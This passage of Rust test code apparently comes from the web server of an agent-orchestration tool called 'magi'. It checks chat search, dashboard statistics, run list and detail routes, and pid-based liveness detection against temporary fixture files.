10544            assert_eq!(f.get(bad).await.status, 400, "{bad}");
10545        }
10546    }
10547
10548    /// Write one conversation file the way the store reads it back.
10549    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
10550        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
10551            .expect("seat value");
10552        let turns: Vec<serde_json::Value> = turns
10553            .iter()
10554            .map(|(who, body)| {
10555                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
10556            })
10557            .collect();
10558        let doc = serde_json::json!({
10559            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
10560            "status": status, "turns": turns,
10561            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
10562            "seat": seat,
10563        });
10564        let dir = f.home.path().join("talks");
10565        std::fs::create_dir_all(&dir).expect("talks dir");
10566        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
10567    }
10568
10569    #[tokio::test]
10570    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
10571        let f = Fixture::start().await;
10572        write_talk(
10573            &f,
10574            "20260901-000001-aaaa",
10575            "open",
10576            &[
10577                (
10578                    "operator",
10579                    "\n  Why does the Pangolin cache expire?\nsecond line",
10580                ),
10581                ("agent", "Because the TTL is thirty seconds."),
10582            ],
10583        );
10584        write_talk(
10585            &f,
10586            "20260901-000002-bbbb",
10587            "closed",
10588            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
10589        );
10590        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
10591
10592        let search = |q: &'static str| {
10593            let f = &f;
10594            async move {
10595                f.get(&format!("/api/search?scope=chats&q={q}"))
10596                    .await
10597                    .json()
10598            }
10599        };
10600
10601        let v = search("PANGOLIN").await;
10602        assert_eq!(v["scope"], "chats");
10603        assert_eq!(v["total"], 1, "{v}");
10604        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
10605        assert_eq!(v["hits"][0]["field"], "title");
10606        assert_eq!(v["unreadable"], 1, "{v}");
10607        let marked: Vec<&str> = v["hits"][0]["snippet"]
10608            .as_array()
10609            .unwrap()
10610            .iter()
10611            .filter(|p| p["hit"] == true)
10612            .map(|p| p["text"].as_str().unwrap())
10613            .collect();
10614        assert_eq!(marked, ["Pangolin"]);
10615
10616        // An agent turn, in a closed conversation.
10617        let v = search("zebra").await;
10618        assert_eq!(v["total"], 1, "{v}");
10619        assert_eq!(v["hits"][0]["field"], "agent");
10620        // Words may sit in different turns; all must be present.
10621        assert_eq!(search("pangolin%20thirty").await["total"], 1);
10622        assert_eq!(search("pangolin%20zebra").await["total"], 0);
10623        // Bookkeeping is not searched.
10624        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
10625            assert_eq!(search(q).await["total"], 0, "{q}");
10626        }
10627        // The first line only is the title; the second line is still a turn.
10628        assert_eq!(search("second").await["hits"][0]["field"], "operator");
10629        // Open conversations are listed before closed ones.
10630        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
10631
10632        let v = f.get("/api/search?scope=nope&q=a").await;
10633        assert_eq!(v.status, 400);
10634        assert!(
10635            v.body.contains("scope must be runs, tasks or chats"),
10636            "{}",
10637            v.body
10638        );
10639    }
10640
10641    #[test]
10642    fn a_question_card_links_a_task_id_to_the_task_page() {
10643        let start = APP_JS
10644            .find("function updateAskCard(")
10645            .expect("updateAskCard exists");
10646        let body = &APP_JS[start..];
10647        let body = &body[..body.find("\n}\n").expect("function end")];
10648        assert!(body.contains("question.run_is_task"));
10649        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
10650        assert!(body.contains("`#/runs/${question.run}`"));
10651        assert!(body.contains("\"task\" : \"run\""));
10652    }
10653
10654    #[test]
10655    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
10656        let start = APP_JS
10657            .find("function scheduleSearch(")
10658            .expect("scheduleSearch exists");
10659        let body = &APP_JS[start..];
10660        let body = &body[..body.find("\n}\n").expect("function end")];
10661        assert!(body.contains("s.seq += 1"));
10662    }
10663
10664    /// The dashboard reads every run's state itself rather than trusting a
10665    /// separately-maintained count, so an unreadable run must be counted the
10666    /// same way `/api/health` counts it - never silently dropped the way the
10667    /// CLI's own `stats::load_all` drops it.
10668    #[tokio::test]
10669    async fn stats_runs_unreadable_matches_health() {
10670        let f = Fixture::start().await;
10671        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
10672        let broken = f.runs().join("20260902-140502-bad");
10673        std::fs::create_dir_all(&broken).expect("run dir");
10674        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
10675
10676        let stats = f.get("/api/stats").await;
10677        let health = f.get("/api/health").await;
10678
10679        assert_eq!(stats.status, 200);
10680        assert_eq!(stats.json()["totals"]["runs"], 1);
10681        assert_eq!(stats.json()["runs_unreadable"], 1);
10682        assert_eq!(
10683            stats.json()["runs_unreadable"],
10684            health.json()["runs_unreadable"],
10685            "the dashboard and /api/health must never disagree about how many \
10686             runs could not be read"
10687        );
10688    }
10689
10690    #[tokio::test]
10691    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
10692        let f = Fixture::start().await;
10693        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10694        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
10695        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
10696
10697        let totals = &f.get("/api/stats").await.json()["totals"];
10698        assert_eq!(totals["runs"], 3);
10699        assert_eq!(totals["merged"], 1);
10700        assert_eq!(totals["stalled"], 1);
10701        assert_eq!(totals["in_progress"], 1);
10702        // A stalled run must never read as blocked/merged/ready - it is its
10703        // own bucket, not folded into a "decided" one.
10704        assert_eq!(totals["blocked"], 0);
10705        assert_eq!(totals["ready"], 0);
10706    }
10707
10708    #[tokio::test]
10709    async fn stats_advisors_report_proposals_and_reflection() {
10710        use crate::advise::{Advice, AdvisorRecord, Reflection};
10711        use crate::verdict::Proposal;
10712
10713        let f = Fixture::start().await;
10714        let mut state = RunState::new(
10715            PathBuf::from("/repo/magi"),
10716            "main".to_owned(),
10717            "0123456789abcdef".to_owned(),
10718            "task".to_owned(),
10719            Config::default(),
10720        );
10721        state.id = "20260902-140501-a".to_owned();
10722        state.status = RunStatus::Merged;
10723        state.advice = Some(Advice {
10724            records: vec![
10725                AdvisorRecord {
10726                    seat: "advisor-1".to_owned(),
10727                    agent: "alpha".to_owned(),
10728                    proposal: Some(Proposal {
10729                        approach: "do it".to_owned(),
10730                        key_tradeoff: "speed over memory".to_owned(),
10731                        risks: Vec::new(),
10732                        touches: Vec::new(),
10733                        why_not_naive: "breaks under load".to_owned(),
10734                    }),
10735                    error: None,
10736                    duration_ms: 0,
10737                    reflection: Reflection::Strong,
10738                },
10739                AdvisorRecord {
10740                    seat: "advisor-2".to_owned(),
10741                    agent: "alpha".to_owned(),
10742                    proposal: None,
10743                    error: Some("timed out".to_owned()),
10744                    duration_ms: 0,
10745                    reflection: Reflection::Absent,
10746                },
10747            ],
10748            synthesis: Some("blended brief".to_owned()),
10749        });
10750        let dir = f.runs().join(&state.id);
10751        std::fs::create_dir_all(&dir).expect("run dir");
10752        std::fs::write(
10753            dir.join("run.json"),
10754            serde_json::to_string_pretty(&state).expect("serialize run"),
10755        )
10756        .expect("write run.json");
10757
10758        let advisors = f.get("/api/stats").await.json()["advisors"].clone();
10759        let alpha = advisors
10760            .as_array()
10761            .expect("an array")
10762            .iter()
10763            .find(|a| a["agent"] == "alpha")
10764            .expect("alpha row");
10765        assert_eq!(alpha["seated"], 2);
10766        assert_eq!(alpha["proposed"], 1);
10767        assert_eq!(alpha["absent"], 1);
10768        assert_eq!(alpha["strong"], 1);
10769        assert_eq!(alpha["faint"], 0);
10770        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
10771    }
10772
10773    #[tokio::test]
10774    async fn stats_release_bumps_split_clean_from_attention() {
10775        use crate::run::ReleaseBump;
10776
10777        let f = Fixture::start().await;
10778
10779        let mut clean = RunState::new(
10780            PathBuf::from("/repo/magi"),
10781            "main".to_owned(),
10782            "0123456789abcdef".to_owned(),
10783            "task".to_owned(),
10784            Config::default(),
10785        );
10786        clean.id = "20260902-140501-a".to_owned();
10787        clean.status = RunStatus::Merged;
10788        clean.release_bump = Some(ReleaseBump {
10789            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
10790            version: Some("1.0.0".to_owned()),
10791            automerge_enabled: true,
10792            merged_directly: false,
10793            local: false,
10794            release: None,
10795            problem: None,
10796            action_required: None,
10797        });
10798
10799        let mut blocked = RunState::new(
10800            PathBuf::from("/repo/magi"),
10801            "main".to_owned(),
10802            "0123456789abcdef".to_owned(),
10803            "task".to_owned(),
10804            Config::default(),
10805        );
10806        blocked.id = "20260902-140502-b".to_owned();
10807        blocked.status = RunStatus::Merged;
10808        blocked.release_bump = Some(ReleaseBump {
10809            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
10810            version: Some("1.0.1".to_owned()),
10811            automerge_enabled: false,
10812            merged_directly: false,
10813            local: false,
10814            release: None,
10815            problem: Some("checks red".to_owned()),
10816            action_required: Some("look at the PR".to_owned()),
10817        });
10818
10819        for state in [&clean, &blocked] {
10820            let dir = f.runs().join(&state.id);
10821            std::fs::create_dir_all(&dir).expect("run dir");
10822            std::fs::write(
10823                dir.join("run.json"),
10824                serde_json::to_string_pretty(state).expect("serialize run"),
10825            )
10826            .expect("write run.json");
10827        }
10828
10829        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10830        assert_eq!(bumps["merged"], 2);
10831        assert_eq!(bumps["recorded"], 2);
10832        assert_eq!(bumps["pr_opened"], 2);
10833        assert_eq!(bumps["automerge_enabled"], 1);
10834        assert_eq!(bumps["needs_attention"], 1);
10835        assert_eq!(bumps["clean"], 1);
10836        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
10837        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
10838    }
10839
10840    #[tokio::test]
10841    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
10842        let f = Fixture::start().await;
10843        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
10844
10845        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
10846        assert_eq!(bumps["merged"], 1);
10847        assert_eq!(bumps["recorded"], 0);
10848        // `merged` is nonzero, so coverage still reads as a real 0%, not an
10849        // absent rate - "0 of 1 merged runs" is a fact, not a missing value.
10850        assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
10851        // `pr_opened` and `recorded` are both zero here, so these rates have
10852        // no denominator to compute from and must be null.
10853        assert_eq!(bumps["automerge_rate"], Value::Null);
10854        assert_eq!(bumps["attention_rate"], Value::Null);
10855    }
10856
10857    #[tokio::test]
10858    async fn stats_queue_counts_come_from_the_live_queue() {
10859        let f = Fixture::start().await;
10860        let q = f.queue();
10861        let mut queued = Task::new(
10862            "queued task".to_owned(),
10863            "do it".to_owned(),
10864            PathBuf::from("/repo"),
10865            Source::Human,
10866        );
10867        q.put(&mut queued).expect("put queued");
10868        let mut held = Task::new(
10869            "held task".to_owned(),
10870            "do it later".to_owned(),
10871            PathBuf::from("/repo"),
10872            Source::Human,
10873        );
10874        held.hold_machine(Some("out of attempts".to_owned()));
10875        q.put(&mut held).expect("put held");
10876
10877        let queue = f.get("/api/stats").await.json()["queue"].clone();
10878        assert_eq!(queue["queued"], 1);
10879        assert_eq!(queue["held"], 1);
10880        assert_eq!(queue["running"], 0);
10881        assert_eq!(queue["done"], 0);
10882        assert_eq!(queue["failed"], 0);
10883        assert_eq!(queue["blocked"], 0);
10884    }
10885
10886    #[tokio::test]
10887    async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
10888        let f = Fixture::start().await;
10889        let stats = f.get("/api/stats").await;
10890        assert_eq!(stats.status, 200);
10891        assert_eq!(stats.json()["totals"]["runs"], 0);
10892        assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
10893        assert_eq!(stats.json()["runs_unreadable"], 0);
10894        assert!(stats.json()["agents"].as_array().unwrap().is_empty());
10895        assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
10896        assert!(stats.json()["repos"].as_array().unwrap().is_empty());
10897        assert_eq!(stats.json()["repo"], Value::Null);
10898    }
10899
10900    #[tokio::test]
10901    async fn stats_lists_every_repository_with_runs_recorded() {
10902        let f = Fixture::start().await;
10903        write_run_repo(
10904            &f.runs(),
10905            "20260902-140501-a",
10906            RunStatus::Merged,
10907            "/repos/a",
10908        );
10909        write_run_repo(
10910            &f.runs(),
10911            "20260902-140502-b",
10912            RunStatus::Merged,
10913            "/repos/a",
10914        );
10915        write_run_repo(
10916            &f.runs(),
10917            "20260902-140503-c",
10918            RunStatus::Blocked,
10919            "/repos/b",
10920        );
10921
10922        let stats = f.get("/api/stats").await;
10923        assert_eq!(stats.status, 200);
10924        // Unfiltered - the aggregate across both repositories.
10925        assert_eq!(stats.json()["totals"]["runs"], 3);
10926        assert_eq!(stats.json()["repo"], Value::Null);
10927
10928        let repos = stats.json()["repos"].clone();
10929        let repos = repos.as_array().unwrap();
10930        assert_eq!(repos.len(), 2);
10931        // Busiest (2 runs) first.
10932        assert_eq!(repos[0]["repo"], "/repos/a");
10933        assert_eq!(repos[0]["name"], "a");
10934        assert_eq!(repos[0]["runs"], 2);
10935        assert_eq!(repos[1]["repo"], "/repos/b");
10936        assert_eq!(repos[1]["runs"], 1);
10937    }
10938
10939    #[tokio::test]
10940    async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
10941        let f = Fixture::start().await;
10942        write_run_repo(
10943            &f.runs(),
10944            "20260902-140501-a",
10945            RunStatus::Merged,
10946            "/repos/a",
10947        );
10948        write_run_repo(
10949            &f.runs(),
10950            "20260902-140502-b",
10951            RunStatus::Blocked,
10952            "/repos/b",
10953        );
10954
10955        let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
10956        assert_eq!(stats.status, 200);
10957        assert_eq!(stats.json()["totals"]["runs"], 1);
10958        assert_eq!(stats.json()["totals"]["merged"], 1);
10959        assert_eq!(stats.json()["repo"], "/repos/a");
10960        // The repository list itself is unaffected by the filter - it is
10961        // what a client switches repositories from.
10962        assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
10963        // runs_unreadable is a whole-workload count, never scoped to the
10964        // selected repository - see StatsView::runs_unreadable's own doc.
10965        assert_eq!(stats.json()["runs_unreadable"], 0);
10966    }
10967
10968    #[tokio::test]
10969    async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
10970        let f = Fixture::start().await;
10971        write_run_repo(
10972            &f.runs(),
10973            "20260902-140501-a",
10974            RunStatus::Merged,
10975            "/repos/a",
10976        );
10977
10978        let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
10979        assert_eq!(stats.status, 404);
10980    }
10981
10982    #[tokio::test]
10983    async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
10984        let f = Fixture::start().await;
10985        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
10986
10987        let summary = f.get("/api/runs").await.json();
10988        let row = &summary[0];
10989        assert_eq!(row["short"], "a1b2");
10990        assert_eq!(row["status"], "ready");
10991        assert_eq!(row["done"], true);
10992        assert_eq!(row["title"], "Add a web UI");
10993        assert_eq!(row["repo_name"], "magi");
10994        assert_eq!(row["judges"], 3);
10995        assert_eq!(row["winner"], Value::Null);
10996        assert_eq!(row["reviews"], 0);
10997
10998        // The short id resolves, and the detail route is the state itself, not
10999        // a projection of it: the UI reads fields the summary does not carry.
11000        let detail = f.get("/api/runs/a1b2").await;
11001        assert_eq!(detail.status, 200);
11002        assert_eq!(detail.json()["base_branch"], "main");
11003        assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
11004    }
11005
11006    /// `status: "ready"` alone cannot tell a run still headed for a landing
11007    /// (a PR closed without merging, say) apart from one `[merge] mode =
11008    /// "none"` left unmerged for good — the confusion the operator flagged
11009    /// after the CLI report already grew a `not landed — nothing to do by
11010    /// design` line for exactly this case (`report.rs`). Both the list route
11011    /// and the detail route must carry a flag the phone can key on instead of
11012    /// re-deriving it from `status` + `merge.mode` itself.
11013    #[tokio::test]
11014    async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
11015        let f = Fixture::start().await;
11016
11017        let mut none_run = RunState::new(
11018            PathBuf::from("/repo/magi"),
11019            "main".to_owned(),
11020            "0123456789abcdef".to_owned(),
11021            "Add a web UI".to_owned(),
11022            Config::default(),
11023        );
11024        none_run.id = "20260902-140503-none".to_owned();
11025        none_run.status = RunStatus::Ready;
11026        none_run.merge = Some(crate::run::MergeOutcome {
11027            mode: crate::config::MergeMode::None,
11028            ok: true,
11029            detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
11030            empty: false,
11031        });
11032        write_state(&f.runs(), &none_run);
11033
11034        let mut pr_run = RunState::new(
11035            PathBuf::from("/repo/magi"),
11036            "main".to_owned(),
11037            "0123456789abcdef".to_owned(),
11038            "Add a web UI".to_owned(),
11039            Config::default(),
11040        );
11041        pr_run.id = "20260902-140504-prcl".to_owned();
11042        pr_run.status = RunStatus::Ready;
11043        pr_run.merge = Some(crate::run::MergeOutcome {
11044            mode: crate::config::MergeMode::Pr,
11045            ok: false,
11046            detail: "https://example.com/pr/1 was closed without merging".to_owned(),
11047            empty: false,
11048        });
11049        write_state(&f.runs(), &pr_run);
11050
11051        let summary = f.get("/api/runs").await.json();
11052        let rows: std::collections::HashMap<&str, &Value> = summary
11053            .as_array()
11054            .expect("an array")
11055            .iter()
11056            .map(|r| (r["id"].as_str().expect("an id"), r))
11057            .collect();
11058        assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
11059        assert_eq!(
11060            rows[none_run.id.as_str()]["unmerged_by_design"],
11061            true,
11062            "a mode-none Ready must be flagged in the list"
11063        );
11064        assert_eq!(
11065            rows[pr_run.id.as_str()]["unmerged_by_design"],
11066            false,
11067            "a Ready reached by a closed pull request is a different case"
11068        );
11069
11070        let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
11071        assert_eq!(none_detail["status"], "ready");
11072        assert_eq!(none_detail["unmerged_by_design"], true);
11073
11074        let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
11075        assert_eq!(pr_detail["unmerged_by_design"], false);
11076    }
11077
11078    /// `RunState::active` is only ever cleared by whoever populated it, so the
11079    /// detail route also has to say whether a daemon is actually still
11080    /// driving this run right now — otherwise a seat from a killed process's
11081    /// last wave would read as live forever.
11082    #[tokio::test]
11083    async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
11084        let f = Fixture::start().await;
11085        // Matches `write_daemon`'s hard-coded `current.run`, so the second
11086        // half of this test can claim the daemon is working on it without a
11087        // second helper.
11088        let id = "20260902-140502-bbbb";
11089        let mut state = RunState::new(
11090            PathBuf::from("/repo/magi"),
11091            "main".to_owned(),
11092            "0123456789abcdef".to_owned(),
11093            "Add a web UI".to_owned(),
11094            Config::default(),
11095        );
11096        state.id = id.to_owned();
11097        state.status = RunStatus::Judging;
11098        state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
11099        let dir = f.runs().join(id);
11100        std::fs::create_dir_all(&dir).expect("run dir");
11101        std::fs::write(
11102            dir.join("run.json"),
11103            serde_json::to_string_pretty(&state).expect("serialize run"),
11104        )
11105        .expect("write run.json");
11106
11107        // No daemon.json at all, and no `driver_pid` recorded either (this
11108        // state was written directly, never through `execute()`): there is
11109        // nothing to confirm either way, so the route must say `"unknown"` —
11110        // never `"dead"`, which is exactly the false diagnosis a manual `magi
11111        // run` used to get from this route before `driver_pid` existed.
11112        let cold = f.get(&format!("/api/runs/{id}")).await.json();
11113        assert_eq!(cold["active"]["judge-2"]["node"], "judge");
11114        assert_eq!(cold["live"], "unknown", "{cold}");
11115
11116        // A fresh heartbeat naming exactly this run: the same entry now reads
11117        // as confirmed, not merely recorded.
11118        write_daemon(f.home.path(), Timestamp::now());
11119        let warm = f.get(&format!("/api/runs/{id}")).await.json();
11120        assert_eq!(warm["live"], "live", "{warm}");
11121    }
11122
11123    /// Where a run came from is shown, and a run written before origins were
11124    /// recorded (schema 12, no `origin` key) stays readable and says so.
11125    #[tokio::test]
11126    async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
11127        let f = Fixture::start().await;
11128        let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
11129            let mut state = RunState::new(
11130                PathBuf::from("/repo/magi"),
11131                "main".to_owned(),
11132                "0123456789abcdef".to_owned(),
11133                "Add a web UI".to_owned(),
11134                Config::default(),
11135            );
11136            state.id = id.to_owned();
11137            state.origin = origin;
11138            let mut value = serde_json::to_value(&state).expect("serialize run");
11139            if let Some(schema) = schema {
11140                value["schema"] = serde_json::json!(schema);
11141                value.as_object_mut().unwrap().remove("origin");
11142            }
11143            let dir = f.runs().join(id);
11144            std::fs::create_dir_all(&dir).expect("run dir");
11145            std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
11146        };
11147        write(
11148            "20260930-092817-ec34",
11149            Some(crate::run::Origin::from_agent_env(
11150                Some(("4a7b".to_owned(), "chat".to_owned())),
11151                None,
11152            )),
11153            None,
11154        );
11155        write("20260930-092817-0ld1", None, Some(12));
11156
11157        let new = f.get("/api/runs/20260930-092817-ec34").await.json();
11158        assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
11159        assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
11160
11161        let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
11162        assert_eq!(
11163            old["origin_label"], "origin unknown (started before origins were recorded)",
11164            "{old}"
11165        );
11166        assert!(old["origin"].is_null(), "{old}");
11167
11168        let list = f.get("/api/runs").await.json();
11169        let labels: Vec<_> = list
11170            .as_array()
11171            .unwrap()
11172            .iter()
11173            .map(|r| r["origin_label"].as_str().unwrap().to_owned())
11174            .collect();
11175        assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
11176    }
11177
11178    /// The gap `driver_pid` exists to close: a manual `magi run` / `magi
11179    /// review` claims no daemon at all, so before this field existed the
11180    /// route above read it as `"dead"` — indistinguishable from a run a
11181    /// killed process abandoned — the whole time it was genuinely still
11182    /// answering. With a live pid recorded, it must read `"live"` even
11183    /// though no daemon claims it.
11184    #[tokio::test]
11185    async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
11186        let f = Fixture::start().await;
11187        let id = "20260922-090000-cccc";
11188        let mut state = RunState::new(
11189            PathBuf::from("/repo/magi"),
11190            "main".to_owned(),
11191            "0123456789abcdef".to_owned(),
11192            "Review only".to_owned(),
11193            Config::default(),
11194        );
11195        state.id = id.to_owned();
11196        state.status = RunStatus::Reviewing;
11197        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11198        // This test process's own pid: guaranteed alive, and never needs a
11199        // real daemon or a second process to prove it. The matching start-time
11200        // marker is what `liveness` now requires alongside a live pid — see
11201        // `RunState::driver_started_at`'s own doc for why the pid alone is
11202        // not enough.
11203        state.driver_pid = Some(std::process::id());
11204        state.driver_started_at = Some(
11205            crate::proc::process_started_at(std::process::id())
11206                .expect("this test process's own start time must be queryable"),
11207        );
11208        let dir = f.runs().join(id);
11209        std::fs::create_dir_all(&dir).expect("run dir");
11210        std::fs::write(
11211            dir.join("run.json"),
11212            serde_json::to_string_pretty(&state).expect("serialize run"),
11213        )
11214        .expect("write run.json");
11215
11216        let detail = f.get(&format!("/api/runs/{id}")).await.json();
11217        assert_eq!(detail["live"], "live", "{detail}");
11218    }
11219
11220    /// A killed manual run's pid can be handed to a wholly unrelated later
11221    /// process — a live query on `driver_pid` alone would read this as
11222    /// `"live"`, exactly the false positive `driver_started_at` exists to
11223    /// catch (see that field's own doc, and `RunState::liveness_with`'s
11224    /// pid-reuse test). The route must read it as `"dead"`, not `"live"`.
11225    #[tokio::test]
11226    async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
11227        let f = Fixture::start().await;
11228        let id = "20260922-090100-dddd";
11229        let mut state = RunState::new(
11230            PathBuf::from("/repo/magi"),
11231            "main".to_owned(),
11232            "0123456789abcdef".to_owned(),
11233            "Review only".to_owned(),
11234            Config::default(),
11235        );
11236        state.id = id.to_owned();
11237        state.status = RunStatus::Reviewing;
11238        state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
11239        // This test process's own pid really is alive, but the marker
11240        // recorded here does not match what it actually started at —
11241        // standing in for the pid having since been reused by a different
11242        // process than the one that wrote `run.json`.
11243        state.driver_pid = Some(std::process::id());
11244        state.driver_started_at = Some("1".to_owned());
11245        let dir = f.runs().join(id);
11246        std::fs::create_dir_all(&dir).expect("run dir");
11247        std::fs::write(
11248            dir.join("run.json"),
11249            serde_json::to_string_pretty(&state).expect("serialize run"),
11250        )
11251        .expect("write run.json");
11252
11253        let detail = f.get(&format!("/api/runs/{id}")).await.json();
11254        assert_eq!(detail["live"], "dead", "{detail}");
11255    }
11256
11257    /// The deck's competition list is normally the first place an operator
11258    /// sees an old run. It must carry the same process verdict as detail, or
11259    /// its `reviewing` chip keeps falsely advertising a dead run as in flight.
11260    #[test]
11261    fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
11262        let mk = |id: &str, pid: Option<u32>| {
11263            let mut s = RunState::new(
11264                PathBuf::from("/repo/magi"),
11265                "main".to_owned(),
11266                "0123456789abcdef".to_owned(),
11267                "Add a web UI".to_owned(),
11268                Config::default(),
11269            );
11270            s.id = id.to_owned();
11271            s.driver_pid = pid;
11272            s.driver_started_at = Some("1790000000".to_owned());
11273            s
11274        };
11275        let states = vec![
11276            mk("20260902-140502-aaaa", Some(77)),
11277            mk("20260902-140502-bbbb", Some(77)),
11278            mk("20260902-140502-cccc", Some(77)),
11279            mk("20260902-140502-dddd", None),
11280        ];
11281        let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
11282        let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
11283        let sup: HashMap<String, String> = [(
11284            "20260902-140502-aaaa".to_owned(),
11285            "20260902-140502-cccc".to_owned(),
11286        )]
11287        .into();
11288
11289        let status_calls = std::cell::Cell::new(0);
11290        let identity_calls = std::cell::Cell::new(0);
11291        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
11292            |_| {
11293                status_calls.set(status_calls.get() + 1);
11294                Some(true)
11295            },
11296            |_| {
11297                identity_calls.set(identity_calls.get() + 1);
11298                Some("1790000000".to_owned())
11299            },
11300        ));
11301        let rows = summarize(
11302            states,
11303            &open,
11304            &claimed,
11305            &sup,
11306            |p| probe.borrow_mut().status(p),
11307            |p| probe.borrow_mut().started_at(p),
11308        );
11309
11310        assert_eq!(status_calls.get(), 1, "one pid, one status query");
11311        assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
11312        assert_eq!(rows.len(), 4);
11313        assert!(!rows[0].waiting && rows[1].waiting);
11314        assert_eq!(rows[0].live, crate::run::Liveness::Live);
11315        assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
11316        assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
11317        assert_eq!(rows[1].superseded_by, None);
11318    }
11319
11320    #[test]
11321    fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
11322        let mut state = RunState::new(
11323            PathBuf::from("/repo/magi"),
11324            "main".to_owned(),
11325            "0123456789abcdef".to_owned(),
11326            "Review only".to_owned(),
11327            Config::default(),
11328        );
11329        state.id = "20260922-090200-dead".to_owned();
11330        state.status = RunStatus::Reviewing;
11331        let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
11332            .expect("serialize list row");
11333        assert_eq!(row["status"], "reviewing");
11334        assert_eq!(row["live"], "dead", "{row}");
11335        assert!(!row["done"].as_bool().unwrap());
11336    }
11337
11338    #[tokio::test]
11339    async fn the_run_list_is_newest_first_and_honours_a_limit() {
11340        let f = Fixture::start().await;
11341        for id in [
11342            "20260902-140501-aaaa",
11343            "20260902-140502-bbbb",
11344            "20260902-140503-cccc",
11345        ] {
11346            write_run(&f.runs(), id, RunStatus::Merged);
11347        }
11348
11349        let all = f.get("/api/runs").await.json();
11350        let capped = f.get("/api/runs?limit=2").await.json();
11351
11352        assert_eq!(all[0]["id"], "20260902-140503-cccc");
11353        assert_eq!(all.as_array().map(Vec::len), Some(3));
11354        assert_eq!(capped.as_array().map(Vec::len), Some(2));
11355        assert_eq!(capped[0]["id"], "20260902-140503-cccc");
11356    }
11357
11358    #[tokio::test]
11359    async fn the_report_route_serves_the_terminal_report_as_plain_text() {
11360        let f = Fixture::start().await;
11361        write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
11362
11363        let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
11364
11365        assert_eq!(res.status, 200);
11366        assert!(
11367            res.headers
11368                .contains("content-type: text/plain; charset=utf-8"),
11369            "a browser must render it, not download it: {}",
11370            res.headers
11371        );
11372        // The assertion is on content, not on the absence of escapes: colour
11373        // is a process-global that `serve` turns off at startup, and another
11374        // test in this binary may own it while this one runs.
11375        assert!(
11376            res.body.contains("20260902-140501-a1b2"),
11377            "the report is about the run that was asked for: {}",
11378            res.body
11379        );
11380    }
11381
11382    #[tokio::test]
11383    async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
11384        // The view names the run's state directory, which reads the process-global home.
11385        crate::run::pin_test_home();
11386        let f = Fixture::start().await;
11387        let id = "20260902-140501-a1b2";
11388        write_run(&f.runs(), id, RunStatus::Stalled);
11389        // A stalled panel and one review round, written through the real
11390        // state file so the route reads what a run really leaves behind.
